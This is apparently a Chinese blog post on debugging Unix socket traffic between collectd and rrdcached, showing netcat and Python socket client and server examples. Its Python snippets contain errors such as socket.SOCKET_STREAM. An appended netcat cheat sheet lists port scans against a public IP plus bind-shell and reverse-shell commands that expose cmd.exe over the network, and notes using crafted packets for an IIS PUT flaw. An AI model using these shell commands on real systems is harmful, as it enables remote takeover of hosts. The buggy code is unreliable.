在一个复杂的软件系统中,往往需要有各个组件之间的数据传递,在组件间数据传递过程中,又会不可避免的出现一些小问题,这时候我们就需要来进行debug了,由于最近的一个系统使用到了collectd和rrdcached来收集数据和画图,它们之间采用了Unix socket通信,因此小小的学习了一下相关知识。
首先我们来回忆下Linux下进程通信有哪些方法:
管道(Pipe)及有名管道(FIFO)\UNIX BSD
信号(Signal) \UNIX BSD
报文消息队列(Message)\UNIX system V
信号量(Semaphore)\UNIX system V
共享存储区(Shared memory)\UNIX system V
套接字(Socket)
对于管道和信号我们都很熟悉,shell中常见的“|”,“kill -9”,管道更多用来单向有亲缘关系的进程。消息队列接触的比较少,但使用方法应该和AMQP差不多,通过中转发送与接收,不会阻塞进程。而信号量更多的是一种锁机制,本身不会做实际的数据交换。
废话那么多,终于讲到重点Scoket了。由于最开始的进程通信源于单机系统,前面几种方式,在通信过程中进程的互相识别方法为进程号(PID),然后随着网络的发展,这种方式则开始落后了,由此产生了Sokcet通信。
既然有了Socket通信,那就有Socket编程,应该算得上是网络编程必学了吧~操作系统实现了TCP/IP协议簇,使用socket接口来调用,可以实现tcp、udp、unix socket通信。
当然,我们这次不讲编程,只关心debug,那么问题就是怎么简单怎么来啦。
发送端调试
在restAPI大行其道的今天,应用层的调试我们遇到最多的应该是http了,这个很简单,直接上curl。curl -d ${postdata} -b ${cookies} http://dizhi
NC篇
到传输层,我们有网络工具中的瑞士×××netcat
netcat提供的nc命令,具有扫描(比不过nmap)、监听、连接等功能
在本机连接某个Unix socket,直接执行nc -U /dev/shm/rrdcached.sock
就可以开始给这个socket发送信息啦。
注意:netcat-openbsd才支持Unix socket,并且区分Unix stream socket和Unix datagram socket
nc -U /tmp/socket #Connect to UNIX-domain stream socket nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
python篇
python的socket库来实现客户端功能
简单五个步骤:
创建一个socket
connect到服务器端口或文件
发送数据
接收返回
关闭连接
非常简单,很适合调试啊
import socket host='' port='' #创建 sockets = socket.socket(socket.AF_INET, socket.SOCKET_STREAM) ''' 函数 socket.socket 创建一个 socket,返回该 socket 的描述符,将在后面相关函数中使用。该函数带有两个参数: Address Family:可以选择 AF_INET(用于 Internet 进程间通信) 或者 AF_UNIX(用于同一台机器进程间通信) Type:套接字类型,可以是 SOCKET_STREAM(流式套接字,主要用于 TCP 协议) 或者SOCKET_DGRAM(数据报套接字,主要用于 UDP 协议) ''' # 创建连接 s.connect(host,port) ''' 如果是unix socket,此处则是对应的socket文件,如 s.connect("/var/run/rrdcached.sock") ''' # 发送数据 s.send('STATS') # 接收数据s.recv(10240 # 关闭连接s.close
接收端调试
NC 篇
同样的,接收端也可以用nc监听端口来伪装server端。
nc -lU /var/tmp/dsocket
python篇
同样几个步骤:
创建socket实例
绑定端口或socket文件
开始监听
接收数据
发送数据
关闭连接
多出一个开始监听~
import socket host = '' port = '' #创建socket实例 s = socket.socket(socket.AF_UNIX, socket.SOCKET_STREAM) #绑定端口s.bind(host,port) ''' 如果是unix socket,则直接写sock文件,如 s.bind("/var/run/rrdcached") ''' #开始监听 s.listen(5) ''' socket.listen(backlog) Listen for connections made to the socket. The backlog argument specifies the maximum number of queued connections and should be at least 0; the maximum value is system-dependent (usually 5), the minimum value is forced to 0. ''' # 接收数据 connecttion,address = socket.accept() ''' socket.accept() Accept a connection. The socket must be bound to an address and listening for connections. The return value is a pair (conn, address) where conn is a new socket object usable to send and receive data on the connection, and address is the address bound to the socket on the other end of the connection. ''' print "%s"%connection.recv(1024) # 发送数据 connection.send("success") # 关闭连接 connection.close
掌握了这两个常用的简单调试手段,是不是感觉轻松多了呢~
参考:
附上nc常用命令
【命令】nc -v ip port 【例如】nc -v 96.44.174.9 80 【解释】扫瞄某 IP 的某个端口,返回端口信息详细输出。 【命令】nc -v -z ip port-port 【例如】nc -v -z 96.44.174.9 80-1024 【解释】扫描某IP的端口段,返回端口信息详细输出,但扫描速度很慢。 【命令】nc -v -z -u ip port-port 【例如】nc -v -z -u 96.44.174.9 25-1024 【解释】扫描某 IP 的某 UDP 端口段,返回端口信息详细输出,但扫描速度很慢。 【命令】nc -l -p 520 【解释】开启本机的 TCP 520 端口并监听次端口的上传输的数据。 【命令】nc -l -v -p 520 【解释】开启本机的 TCP 520 端口并将监听到的信息输出到当前 CMD 窗口。这个命令也是端口转发shell的基础。 【命令】nc -l -p 520 > C:/log.dat 【解释】开启本机的 TCP 520 端口并将监听到的信息输出到 C:/log.dat 下的日志文件里。 【命令】nc -nvv 192.168.1.101 520【解释】连接到192.168.1.101主机的 520。 重点一(正向连接): 【远程运行】nc -l -p 2012 -t -e C:WINDOWSsystem32cmd.exe 【本地运行】nc -nvv 192.168.1.101 2012 【解释】采用正向连接方式,远程主机(注:假设IP地址为 192.168.1.101) 上运行 nc -l -p 2012 -t -e cmd.exe 意为绑定远程主机的 CMD 到2012 端口, 当本地主机连接远程主机成功时就会返回给本地主机一个CMD Shell ; 在本地主机上运行 nc -nvv 192.168.1.101 2012 用于连接已经将 CMD 重定向到 2012 端口的远程主机 (注:假设IP地址为 192.168.1.101)。 重点二(反向连接): 【本地运行】nc -l –vv -p 2012 【远程运行】nc -t -e C:WINDOWSsystem32cmd.exe 192.168.1.102 2012 【解释】采用反向连接方式,先在本地主机(拥有公网IP)运行 nc -l –vv -p 2012 开启2012 端口并监听等待远程主机连接; 在远程主机上运行 nc -t -e cmd.exe 192.168.1.102 2012 将远程主机的 CMD 重定向到 IP 地址为 192.168.1.102 端口号为2012 的主机上, 连接成功后 IP 地址为 192.168.1.102 的主机会得到一个CMD Shell。 【命令】nc -vv www.91ri.org port < C:/http.txt 【例如】nc -vv www.91ri.org 80 < C:/http.txt 【解释】提交http.txt内数据包到 但可以跟踪过程。 例如IISput漏洞就可以自定义数据包使用此方法提交。 【命令1】nc -v -n ip port < C:/sunzn.exe 【命令2】nc -v -l -p port > D:/sunzn.exe 【解释】在本地运行 nc -v -n ip port < C:/sunzn.exe 意为从本地 C 盘根目录中读取 sunzn.exe 文件的内容, 并把这些数据发送到远程主机的对应端口上(注:命令行中的 IP 为接收文件的远程主机 IP ), 在远程主机运行 nc -v -l -p port > D:/sunzn.exe 意为监听对应端口并把接收到的信息数据写到 D:/sunzn.exe 中, 两行命令实现了文件在本地主机和远程主机间的传输。